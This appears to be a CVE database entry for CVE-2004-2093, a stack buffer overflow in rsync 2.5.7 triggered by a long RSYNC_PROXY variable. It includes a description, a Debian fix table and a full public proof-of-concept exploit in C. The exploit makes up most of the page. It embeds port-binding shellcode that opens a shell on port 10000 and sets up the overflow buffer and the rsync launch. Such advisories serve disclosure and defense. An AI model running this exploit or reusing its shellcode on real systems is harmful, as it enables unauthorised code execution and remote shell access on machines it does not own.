CVE-2004-2093
Description
Buffer overflow in the open_socket_out function in socket.c for rsync 2.5.7 and earlier allows local users to cause a denial of service (crash) and possibly execute arbitrary code via a long RSYNC_PROXY environment variable. NOTE: since rsync is not setuid, this issue does not provide any additional privileges beyond those that are already available to the user. Therefore this issue may be REJECTED in the future.
Predictions
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Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
rsync 2.5.7 - Local Stack Overflow / Local Privilege Escalation
/*
* rsync <= 2.5.7 Local Exploit
* Saved EIP on stack is overwritten with address of shellcode in memory
* Generally rsync is not setuid or setgid so just a local shell is of no use
* So i used a portbinding shellcode as a PoC of a different attack vector.
* RET is calculated dynamically so payload can be changed just by changing shellcode
* Tested on:
* [eos@Matrix my]$ uname -a
* Linux Matrix 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
* coded by: abhisek linuxmail org
* Special Thanks: n2n, Hirosh Joseph
*/
#include <stdio.h>
/* Includes for code to daemonize */
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
/****/
#define PATH "/usr/local/bin/rsync"
#define BUFF_SIZE 100
//#define RET 0xbffffdfb
/* 88 bytes portbinding shellcode - linux-x86
* - by bighawk (bighawk warfare com)
*
* This shellcode binds a shell on port 10000
* stdin, stdout and stderr are dupped. accept() arguments are sane.
*/
char shellcode[] =
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
/* Shellcode by n2n [n2n@linuxmail.org] used for initial testing */
/*
char shellcode[]=
// setreuid(geteuid(),geteuid()), no use unless rsync is setuid, usually its not
"\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
// setregid(getegid(),getegid())
"\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
// exec /bin/sh
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
// exit()
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
*/
void handler(int sig) {
int stat;
pid_t pid;
while ((pid = waitpid(-1, &stat, WNOHANG)) > 0) { }
return;
}
void go_daemon() {
int i;
if(fork())
exit (0);
setsid();
i=open("/dev/null",O_RDWR);
dup2(i, 0);
dup2(i, 1);
dup2(i, 2);
close(i);
for (i=1;i<64;i++)
signal(i,SIG_IGN);
signal(SIGCHLD,handler);
}
int main(int argc,char *argv[]) {
char *buffer;
int size=BUFF_SIZE,i;
//unsigned long ret_addr=0xbffffffa;
unsigned long ret_addr=0xbffffffa;
//char *expbuff;
char *arg="localhost::rsync:getaddrinfo:XXX";
if(argc > 2) {
printf("USAGE:\n%s BUFF_SIZE\n",argv[0]);
exit(1);
}
if(argc == 2)
size=atoi(argv[1]);
buffer=(char*)malloc(size);
if(!buffer) {
printf("Error allocating memory on heap\n");
exit(1);
}
ret_addr -= strlen(PATH);
ret_addr -= strlen(shellcode);
//ret_addr -= strlen(arg);
/*
expbuff=(char*)malloc(strlen(shellcode)+100);
if(!expbuff) {
printf("Error allocating memory on heap\n");
exit(1);
}
memset(expbuff,0x90,strlen(shellcode)+100);
memcpy(expbuff+80,shellcode,strlen(shellcode));
expbuff[strlen(expbuff)-1]=0x00;
*/
for(i=0;i<size;i+=4)
*(unsigned long*)(buffer+i)=ret_addr;
memcpy(buffer,"XXX:",4);
buffer[strlen(buffer)-1]=0x00;
printf("Using BUFF_SIZE=%d\nRET=%p\n",size,ret_addr);
setenv("RSYNC_PROXY",buffer,1);
setenv("EGG",shellcode,1);
/* Daemonizing and executing /usr/local/bin/rsync */
go_daemon();
execl(PATH,PATH,arg,NULL);
return 0;
}
// milw0rm.com [2004-02-13]
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.6.1-1 |
| sid | Fixed | 2.6.1-1 |
| forky | Fixed | 2.6.1-1 |
| bullseye | Fixed | 2.6.1-1 |
| bookworm | Fixed | 2.6.1-1 |
References
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